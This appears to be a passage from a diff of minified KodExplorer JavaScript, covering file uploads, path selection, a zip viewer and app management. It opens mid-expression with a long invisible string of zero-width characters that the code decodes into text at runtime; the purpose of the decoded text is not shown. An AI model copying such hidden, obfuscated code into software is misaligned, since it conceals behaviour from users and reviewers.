‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('<div style="width:0px;height:0px;" class="'+t+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before('<span id="'+i.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="<span class='space' style='display: inline-block;width:"+t*i.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,i.mtime)+"</span>";r+='<span class="size">'+core.fileSize(i.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){m(i)},onExpand:function(e,i){m(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},v=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},m=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),v(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),m(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,i=function(){e=location.hash.split("#",2)[1],e||(e="all"),a(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),a(e)) -}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var i=jsonDecode(base64Decode($(this).attr("data-app"))),t=$(e.target).attr("action");switch(t){case"preview":core.openApp(i);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+i.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(i))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(i,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(i.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&a()}})},cancel:!0});break;default:}}})},t=function(e){var i="",t="<button type='button' class='btn btn-sm btn-default dropdown-toggle' data-toggle='dropdown'> <span class='caret'></span> <span class='sr-only'></span> </button> <ul class='dropdown-menu' role='menu'> <li><a action='edit' href='javascript:;'>"+LNG.button_edit+"</a></li> <li><a action='del' href='javascript:;'>"+LNG.button_del+"</a></li> </ul>";G.is_root||(t="");for(var a in e)if(e[a]){var n=e[a].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),i+="<li class='app_li' data-app="+base64Encode(jsonEncode(e[a]))+"> <a action='preview' href='javascript:;' class='icon'><img action='preview' src='"+n+"'></a> <p><span class='title'>"+e[a].name+"</span> <span class='info'>"+e[a].desc+"</span></p>"+"<div class='btn-group'> <button type='button' class='btn btn-sm btn-default' action='add'>"+LNG.button_add+"</button>"+t+"</div><div style='clear:both;'></div></li>"}return i+="<div style='clear:both;'></div>"},a=function(i){(void 0==i||""==i)&&(i=e),$(".selected").removeClass("selected"),$("ul.setting a#"+i).addClass("selected"),$(".main").find(".h1").html("<i class='"+$(".selected i").attr("class")+"'></i>"+$(".selected").text());var a=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+i,dataType:"json",beforeSend:function(){},success:function(e){a.html(t(e.data)),$("body").scrollTop(0)}})};return{reload:a,init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var 